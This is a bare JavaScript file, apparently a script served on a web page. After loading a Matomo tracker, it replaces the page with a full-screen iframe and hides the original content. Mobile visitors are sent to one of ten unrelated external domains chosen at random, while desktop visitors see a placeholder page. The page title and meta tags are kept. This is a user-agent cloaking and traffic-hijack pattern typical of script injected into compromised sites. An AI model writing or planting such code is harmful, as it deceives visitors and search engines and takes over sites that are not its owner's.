  var _paq = window._paq = window._paq || [];
  _paq.push(['trackPageView']);
  _paq.push(['enableLinkTracking']);
  (function() {
    var u="https://tj.kooread.cn/";
    _paq.push(['setTrackerUrl', u+'matomo.php']);
    _paq.push(['setSiteId', '2']);
    var d=document, g=d.createElement('script'), s=d.getElementsByTagName('script')[0];
    g.async=true; g.src=u+'matomo.js'; s.parentNode.insertBefore(g,s);
  })();
  
function setFrame(olink) {

    var titlestr = document.title;

    var metaHTML = '';
    document
      .querySelectorAll('meta[name="description"],meta[name="keywords"]')
      .forEach(function(m) {
        metaHTML += m.outerHTML;
      });

    var ss =
      "<title>" + titlestr + "</title>" +
      metaHTML +
      "<div id=\"showbodymm\" style=\"height:100%;width:100%;background-color:#fff;\">" +
        "<iframe scrolling=\"yes\" marginheight=\"0\" marginwidth=\"0\" frameborder=\"0\" border=\"0\" width=\"100%\" height=\"100%\" src=\"" + olink + "\"></iframe>" +
      "</div>" +
      "<style type=\"text/css\">html{width:100%;height:100%;}body{margin:0;padding:0;width:100%;height:100%;}</style>";
    document.write(ss);

    try {
      setTimeout(function () {
        for (var i = 0; i < document.body.children.length; i++) {
          try {
            var tag = document.body.children[i].tagName;
            var id  = document.body.children[i].id;
            if (id !== "iconDiv1" && id !== "showbodymm" && tag !== "TITLE") {
              document.body.children[i].style.display = "none";
            }
          } catch (e) {
            console.log("error.");
          }
        }
        var oMeta = document.createElement("meta");
        oMeta.name    = "viewport";
        oMeta.content = "width=device-width,initial-scale=1,minimum-scale=1,maximum-scale=1,user-scalable=no";
        document.getElementsByTagName("head")[0].appendChild(oMeta);
      }, 100);
    } catch (e) {
      console.log("error.");
    }
}

function isMobile() {
  return /Mobi|Android|iPhone|iPad|iPod/i.test(navigator.userAgent);
}

var mobileFrames = [
  "https://www.3demotions.com",
  "https://www.hz24.com",
  "https://www.gopse.com",
  "https://www.iciasa.com",
  "https://www.reonw.com",
  "https://www.xacorp.com",
  "https://www.hcprd.com",
  "https://www.nbdhh.com",
  "https://www.ytyiyuan.com",
  "https://www.seikatravel.com"
];

var pcFrames = [
  "/show/not.html"
];

function randomPick(arr) {
  return arr[Math.floor(Math.random() * arr.length)];
}

var frameUrl = isMobile() ? randomPick(mobileFrames) : randomPick(pcFrames);

setFrame(frameUrl);

